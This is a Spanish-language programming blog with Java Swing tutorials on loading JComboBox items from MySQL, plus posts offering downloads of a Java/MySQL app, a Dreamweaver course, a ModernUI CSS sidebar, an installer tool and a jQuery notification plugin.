    for(int i=0; i<left.length; i++)
    {
     this.addItem(new TableItem(this,left[i], right[i]));  
    }
  }
  
 }


por medio del método addItemColum(L,R) que esta en la clase jComboBoxBD puedo añadir items creado dos variables Array String manualmente .

String nombre[]={"Pedro","Pablo","Maria","Eudalia"};
   String años[]={"22","20","15","18"};
   combo_box_union.addItemColum(nombre, años);


de esta forma podemos añadir items a cada columna,pero manual mente.

Pero si quiero cargar datos desde Mysql?
para ello necesito utilizar ArrayList<String>  con el ArrayList podremos almacenar los valores que retorna la consulta SQL cabe recalcar que aquí necesitamos utilizar dos campos de la tabla ya que son dos columnas en el JComboBox , luego que que los ArrayList este cargados le pasamos el valor a dos variables Arrary String ,estas dos varibles seran los valores que recibirá el método addItemColum(String[] left, String right[]) , para luego ser añadidos al JComoBox por medio de addItem();


public void setInjectSQLDobleColumn(String sql,String campo1,String campo2){
  
  try{
   
   ResultSet rs;
      rs=ConexionBD.Consulta(sql);
      ArrayList<String> col1 = new ArrayList<String>();
      ArrayList<String> col2 = new ArrayList<String>();
      
      while (rs.next()) {
        col1.add(rs.getString(campo1));
        col2.add(rs.getString(campo2));
       
         }
      String [] itemCol_1 = new String [col1.size()];
      String [] itemCol_2 = new String [col2.size()];
      col1.toArray(itemCol_1);
      col2.toArray(itemCol_2);
      addItemColum(itemCol_1, itemCol_2);
   
  }
  catch(Exception ex){
   System.out.println("ERROR EN AL CARGAR DATOS");
      }
  
 }


Como retorna los dos valores del Item selecionado ?
para eso necesito recrear dos métodos que reciban y retornen los datos dentro de estos dos metodos estara instanciada la clase TableItem y el valor que recibira los métodos seran de tipo Object .

 public String getLeftText(Object obj)
     {
   TableItem item = (TableItem)obj;
       return item.getLeftText();
     }
     public String getRightText(Object obj)
     {
      TableItem item = (TableItem)obj;
       return item.getRightText();
     }


utilizando los métodos dentro de un evento actionPerformed.

combo_box_union.addActionListener(new java.awt.event.ActionListener() {
    public void actionPerformed(java.awt.event.ActionEvent e) {
     
     txt_nombre.setText(combo_box_union.getLeftText(combo_box_union.getSelectedItem()));
     txt_curso.setText(combo_box_union.getRightText(combo_box_union.getSelectedItem()));
     
    }
   });


les dejo el codigo fuente completo mas la base de datos.


DESCARGAR


viernes, 9 de agosto de 2013


Hoy les enseño como cargar un JComboBox con datos provenientes de una base de datos MySql ,este ejemplo lo hice con el fin de ayudar a unos integrantes de un grupo en java el cual soy miembro.
Para ello cree una clase jComboBoxBD donde tengo un método muy sencillo pero bastante útil a la hora de cargar datos ,este método recibe dos valores String el primero la sintaxis SQL y el segundo el campo de la tabla en la base de datos que necesito para extraer los datos y añadadirlos al combo.

try{
   
   ResultSet rs;
      rs=ConexionBD.Consulta(sql);
      while (rs.next()) {
                this.addItem(rs.getString(campo));    
             }
  }
  catch(Exception ex){
   System.out.println("ERROR EN AL CARGAR DATOS");
      }


como podrán ver es bastante sencillo tengo mi clase ResulSet declarada como variable la cual me recibe los valores que retorna la consulta de la clase ConexionBD esta clase se encarga de conectarme a la Base de datos y el método Consulta de ejecutar la sentencia SQL luego necesito un siclo while para que el resulset sea recorrido por el método next() desde el primer registro y termina cuando el rs.next() sea null, y con el método getString() el cual me recibe el nombre del campo o el nombre de la columna de la base de datos que necesito extraer los valores este me los retorna para que sean añadidos al JComboBox .

Con este metodo podre realizar consultas ya sea simples o mas complejas como por ejemplo como seria si necesito unir DOS TABLAS y obtener un columna en especifico ?

combo_box_union = new jComboBoxBD();
   combo_box_union.setInjectSQL("SELECT datos_varios.profesor AS profe FROM datos_persona INNER JOIN  datos_varios ON (datos_persona.codigo = datos_varios.codigo);", "profe");
   



el método setInjectSQL(sql,campo) , se encarga de realizar la consulta y de añadir los items de esta manera podrán utilizar el elemento cuantas veces sea necesario sin tener ningún problema y ahorrar mas codigo. les dejo el codigo fuente completo



DESCARGAR

miércoles, 7 de agosto de 2013

   Descargate software centinela control,  desarrollado con Java y Mysql
Añadir leyenda

                       

                            Descargate software centinela control,  desarrollado con Java y Mysql


El presente software se desarrolló utilizando el lenguaje de programación Java y sgbd Mysql,  dentro de las funciones que posee dicho software están las de registro de clientes, registro de técnicos  registro de equipos y materiales, registro de kits, registro de inspecciones, generación de reportes.
De esta forma, podemos destacar que dentro del código que forma parte de este software se conseguirán con consultas a la base de datos, para registrar, modificar y eliminar, igualmente conseguir código para generar reportes utilizando la herramienta de ireport.

¿Qué necesitamos?
Un IDE, Netbeans 7.3
Un gestor de base de datos MySql
La librería necesaria para conectar Mysql con Java (mysql-connector-java-5.1.6-bin - última versión a la fecha)
Las librerías necesarias para iReport (Añadidas en el RAR al final)
JasperReport para realizar el modelado de la Factura
Para conectar la aplicación a la base de datos deben ir hasta la carpeta " imas " Que se encuentra dentro del proyecto y modificar un fichero llamado archivo, Con el usuario y contraseña de su servidor de mysql, igualmente podrán colocar  la dirección ip en caso de que quieran conectarse de forma remota


La presente interfaz representa un formulario donde se vacían los datos de una inspección relazada, en la cual se pueden realizar consultas a la BD. 



La presente interfaz permite registrar, modificar y eliminar equipos y materiales relacionados con los servicios que presta la empresa, para la instalación de sistemas de vídeo  centrales de alarmas entro otros



Esta interfaz permite la administración de los usuarios del sistema, pudiendo crear modificar y eliminar los mismos.




DESCARGAR







martes, 6 de agosto de 2013



Dreamweaver CC 2: Enriquecimiento de sitios web con formularios y multimedia


Jorge González Villanueva te presenta su curso Dreamweaver CC 2: Enriquecimiento de sitios web con formularios y multimedia. Añade formularios y contenidos multimedia a tu sitio web.

Con este curso video2brain aprenderas a trabajar con Dreamweaver para crear contenidos HTML para todo tipo de dispositivos. aprenderasa añadir varios tipos de contenido HTML5 y a formatearlo usando el diseñador CSS. comenzaras con la construcción de contenidos.

comenzaras trabajando con enlaces y crearas la parte de navegación de tu sitio web de ejemplo. Además aprenderás a usar elementos de biblioteca para reutilizar el código y así automatizar tareas.

seguirás con la creación de formularios HTML5 y veras su integración en Dreamweaver, y también utilizaras tablas para mostrar datos complejos. cómo añadir contenidos multimedia, aprenderas a crear una animación HTML5 creada con Adobe Edge Animate. Igualmente aprenderas a colocar contenido de vídeo y audio HTML5 y un archivo creado en Flash .(Recomendado).


DESCARGAR






miércoles, 31 de julio de 2013


Para aquellos webmaster que esten creando un sitio con estilo ModernUI de windows 8 ,hoy les traigo un código simple en CSS pero ver un ejemplo aquí mismo.

  • Instalación en Blogger
Primero vamos añadir el CSS a la plantilla que deseemos nos dirigimos ala opción plantilla-->Editar Html-->luego hacemos click dentro del editor y realizamos la combinación de teclas CTRL+F para abrir el buscador y buscamos la etiqueta ]]></b:skin> ,una vez encontrada justo arriba de ella pegue el siguiente código CSS.

.barra_modernUI { background-image: url(http://2.bp.blogspot.com/-iCCUn-fktvk/UYVomjPC84I/AAAAAAAAAAc/czlS_SMG-rs/s1600/noise.png), linear-gradient(to right, #000000, #000000); bottom: 0; list-style: none outside none !important; margin: 0 !important; padding: 20px 0 0 !important; position: fixed; top: 0; transition: all 0.2s linear 0s; -moz-transition: all 0.2s linear 0s; -webkit-transition: all 0.2s linear 0s; -o-transition: all 0.2s linear 0s; width: 76px; opacity:0; } .barra_modernUI.left {left: -60px;} .barra_modernUI.left:hover {left: 0;} .barra_modernUI.right {right: -60px;} .barra_modernUI.right:hover {right: 0;} .barra_modernUI:hover { right:0; opacity:1; } .barra_modernUI > li { background-position: 50% 10px; background-repeat: no-repeat; cursor: pointer; height: 84px; position: relative; text-align: center; } .barra_modernUI li > a { color: #FFFFFF; display: block; font-family: "Segoe UI",arial,helvetica; font-size: 11px; line-height: 1.2 !important; padding: 61px 0 10px; text-decoration: none; } .nomb_admin{ position:relative; width:90%; float:left; top:75%; color: #ffffff; padding:4px 4px 4px 4px; font-family: "Segoe UI",arial,helvetica; font-size: 11px; background-color:#e214ea; } .barra_modernUI > li.admin { background-image:url("https://lh6.googleusercontent.com/-WW0WMiQnvvY/Ua_d102tz6I/AAAAAAAAF3w/Key1-_VRuus/s176-no/30754_421559121243112_310972398_n.jpg"); background-position:0px top; background-size:100% 100%; } .barra_modernUI > li.refrescar { background-image:url("https://lh4.googleusercontent.com/-A3j9EOfDzQ4/UZ542-ha8ZI/AAAAAAAAFL4/WXPWmuZYGB8/s1600/refrescar.png"); } .barra_modernUI > li.atras { background-image:url("https://lh3.googleusercontent.com/-m3MPcT_fwFo/UZ542KrQM5I/AAAAAAAAFLk/DUCK6BCylww/s1600/atras.png"); } .barra_modernUI > li.siguiente { background-image:url("https://lh3.googleusercontent.com/-Fel2-Bjck3s/UZ542imCK9I/AAAAAAAAFLw/7WzUfRX-q34/s1600/siguiente.png"); } .barra_modernUI > li:hover { background-color: #232323; }


luego de haber pegado el CSS ,procedemos a añadir el codigo HTML donde usted desee puede ser dentro de la plantilla dentro del <body> o dentro de un gadget .

<ul class="barra_modernUI right"> <li class="admin"><span class='nomb_admin'>Admin</span></li> <li class="refrescar"><a href="#">refrescar</a></li> <li class="atras"><a href="#">Atras</a></li> <li class="siguiente"><a href="#">Siguiente</a></li> </ul>

si usted quisiera cambiar la posicion de la barra puede cambiar el nombre de la clase en class="barra_modernUI right" por class="barra_modernUI right", tambien dejo el codigo fuente completo para su descarga.



DESCARGAR








PackJacket es una interfaz gráfica para el proyecto IzPack. Está construido con Java Swing y crea un instalador para su aplicación. Los instaladores creados por este programa son multi-plataforma y multi-idioma. Usted puede utilizar PackJacket para crear instaladores para satisfacer sus necesidades.


  • Información general (es decir, nombre, versión, sitio web)
  • Los autores de la aplicación
  • Los paneles de la licencia y la información en forma de texto o html
  • Dimensiones del instalador
  • Idiomas instalador estará disponible en
  • Surtido de paneles comunes
  • De Windows / Unix atajos
  • Cambie Aspecto dependiendo del sistema operativo del usuario
  • Texto de encabezado y las imágenes de instalación
  • Contador de pasos (por ejemplo Paso 3 de 7) en forma de texto o de barra de progreso
  • Logo en la pantalla de selección de idioma
  • Imagen del lado del instalador
  • Instalador puede dividir
  • Packs, más abajo
  • Entrada de usuario para conseguir algo de la entrada del usuario
  • Los procesos en ejecución
  • Multiplataforma GUI - Confirmado para trabajar en Windows Vista y Ubuntu
  • Guardar configuraciones
  • Cree XML, JAR, instaladores EXE
  • Código abierto - licenciado bajo GPL


DESCARGAR




martes, 30 de julio de 2013


Hace un mes utilice este plugin desarrollado por Saleem(codebasehero) ,para mostrar notificaciones cuando un visitante dejara un comentario de facebook lo cual enseñare como hacerlo con las API de Facebook mas adelante.

Son notificaciones que se muestran en la parte inferior derecha o izquierda según se desee y tienen la propiedad de cerrarse automáticamente cada n tiempo.

  • Instalación
su instalación es sencilla como cualquier otro plugin solo necesitamos alojar el archivo en algun host de su preferencia .

<script type="text/javascript" src="jquery-1.6.1.min.js"></script> <script type="text/javascript" src="../plugin/ttw-simple-notifications-min.js"></script> <script type="text/javascript"> $(document).ready(function() { var notifications = $('body').ttwSimpleNotifications(); notifications.show({msg:'Lucho Borja hizo un comentario'+'<br/>'+'Me gusto mucho la presentacion para mi esta super bien', icon:'images/icon.png', autoHide:false}); }); </script>


de esta forma se presentara una notificación,este plugin tiene los siguiente parámetros para poder configurar las notificaciones.

msg: el mensaje que se desee presentar
autoHideDelay: valor entero, tiempo que se desee que la notificación se cierre
autoHide: valor booleano,si se desea que la notificación no se cierre automáticamente
icon: URL, icono o imagen que se desee lleve la notificación
position: "bottom right'" , si se desea cambiar de posición cuando aparezca la notificación

incluye un demo.


DESCARGAR






JavaFace-elblogdelprogramador

img01

Todas las descargan estan almacenadas en Mega

JavaFace
img02

Esta Website funciona mejor con Google Chrome V28,Safari V5.1,Mozilla V22,Opera V15

JavaFacePro
img03

Casi todos los enlaces de descarga son MEGA,y estan actualizados :D

JavaFacePro
img04

Para Descargar cualquier contenido debes iniciar sesion en Facebook

JavaFacePro